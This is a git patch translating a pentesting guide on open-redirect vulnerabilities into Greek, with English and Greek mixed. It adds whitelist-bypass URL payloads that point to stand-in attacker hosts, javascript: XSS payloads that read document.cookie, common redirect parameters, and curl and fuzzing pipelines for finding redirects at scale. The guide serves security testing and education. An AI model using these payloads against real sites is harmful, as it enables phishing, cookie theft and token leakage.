From 50763eb8d96bb29b150d7e24849945aacd7cdce7 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 15:27:55 +0000 Subject: [PATCH] Translated ['src/pentesting-web/open-redirect.md'] to el --- src/pentesting-web/open-redirect.md | 123 ++++++++++++++++++++++++++-- 1 file changed, 115 insertions(+), 8 deletions(-) diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 47c31a975..7a28a6f95 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -5,14 +5,25 @@ ## Open redirect -### Ανακατεύθυνση σε localhost ή αυθαίρετους τομείς +### Redirect to localhost or arbitrary domains +- Εάν η εφαρμογή «allows only internal/whitelisted hosts», δοκιμάστε εναλλακτικές σημειογραφίες host για να χτυπήσετε το loopback ή εσωτερικά ranges μέσω του redirect target: +- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal) +- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1] +- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1. +- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Αυτά είναι χρήσιμα όταν επιτρέπονται μόνο «subdomains of X» αλλά η ανάλυση του host εξακολουθεί να δείχνει στο 127.0.0.1. +- Network-path references συχνά παρακάμπτουν naive validators που προσθέτουν ένα scheme ή ελέγχουν μόνο prefixes: +- //attacker.tld → ερμηνεύεται ως scheme-relative και πλοηγεί εκτός ιστότοπου με το τρέχον scheme. +- Userinfo tricks αχρηστεύουν ελέγχους contains/startswith έναντι trusted hosts: +- https://trusted.tld@attacker.tld/ → ο browser πλοηγείται στο attacker.tld αλλά απλοί έλεγχοι συμβολοσειράς «βλέπουν» trusted.tld. +- Backslash parsing confusion μεταξύ frameworks/browsers: +- https://trusted.tld\@attacker.tld → ορισμένα backends χειρίζονται το “\” ως χαρακτήρα path και περνούν τον έλεγχο· οι browsers κανονικοποιούν σε “/” και ερμηνεύουν το trusted.tld ως userinfo, στέλνοντας χρήστες στο attacker.tld. Αυτό εμφανίζεται επίσης σε Node/PHP URL-parser mismatches. {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -### Ανοιχτή ανακατεύθυνση σε XSS +### Modern open-redirect to XSS pivots ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) @@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` -## Open Redirect ανεβάζοντας αρχεία svg +
+Πιο σύγχρονα URL-based bypass payloads +```text +# Scheme-relative (current scheme is reused) +//evil.example + +# Credentials (userinfo) trick +https://trusted.example@evil.example/ + +# Backslash confusion (server validates, browser normalizes) +https://trusted.example\@evil.example/ + +# Schemeless with whitespace/control chars +evil.example%00 +%09//evil.example + +# Prefix/suffix matching flaws +https://trusted.example.evil.example/ +https://evil.example/trusted.example + +# When only path is accepted, try breaking absolute URL detection +/\\evil.example +/..//evil.example +``` + +``` +
+ +## Open Redirect uploading svg files + ```html @@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg"> ``` -## Κοινές παράμετροι έγχυσης + +## Common injection parameters + ``` /{payload} ?next={payload} @@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io ReturnUrl=https://c1h2e1.github.io ``` -## Κωδικοί παραδείγματα + +## Code examples #### .Net + ```bash response.redirect("~/mysafe-subdomain/login.aspx") ``` + #### Java + ```bash response.redirect("http://mysafedomain.com"); ``` + #### PHP + ```php ``` + +## Hunting and exploitation workflow (practical) + +- Single URL check with curl: + +```bash +curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" +``` + +- Discover and fuzz likely parameters at scale: + +
+Click to expand + +```bash +# 1) Συγκέντρωσε ιστορικά URLs, κράτησε αυτά με κοινές παραμέτρους redirect +cat domains.txt \ +| gau --o urls.txt # or: waybackurls / katana / hakrawler + +# 2) Grep κοινές παραμέτρους και ομαλοποίησε τη λίστα +rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \ +| sed 's/\r$//' | sort -u > candidates.txt + +# 3) Χρησιμοποίησε OpenRedireX για fuzz με payload corpus +cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt + +# 4) Επαλήθευσε χειροκίνητα τα ενδιαφέροντα hits +awk '/30[1237]|Location:/I' results.txt +``` +``` +
+ +- Μην ξεχάσετε τα client-side sinks σε SPAs: ψάξτε για window.location/assign/replace και framework helpers που διαβάζουν query/hash και κάνουν redirect. + +- Τα frameworks συχνά εισάγουν footguns όταν οι redirect destinations προκύπτουν από μη αξιόπιστη είσοδο (query params, Referer, cookies). Δείτε τις σημειώσεις για Next.js σχετικά με redirects και αποφύγετε δυναμικούς προορισμούς που προκύπτουν από είσοδο χρήστη. + +{{#ref}} +../network-services-pentesting/pentesting-web/nextjs.md +{{#endref}} + +- OAuth/OIDC flows: η κατάχρηση open redirectors συχνά κλιμακώνεται σε account takeover μέσω leaking authorization codes/tokens. Δείτε τον αφιερωμένο οδηγό: + +{{#ref}} +./oauth-to-account-takeover.md +{{#endref}} + +- Οι server responses που υλοποιούν redirects χωρίς Location (meta refresh/JavaScript) είναι ακόμα εκμεταλλεύσιμες για phishing και μερικές φορές μπορούν να αλυσιδωθούν. Grep for: +```html + + +``` ## Εργαλεία - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) +- OpenRedireX – fuzzer για την ανίχνευση open redirects. Παράδειγμα: +```bash +# Install +git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh -## Πόροι +# Fuzz a list of candidate URLs (use FUZZ as placeholder) +cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50 +``` +## Αναφορές -- Στο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) μπορείτε να βρείτε λίστες fuzzing. +- Στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect μπορείτε να βρείτε fuzzing lists. - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) - +- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection +- OpenRedireX – Ένας fuzzer για την ανίχνευση open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX {{#include ../banners/hacktricks-training.md}}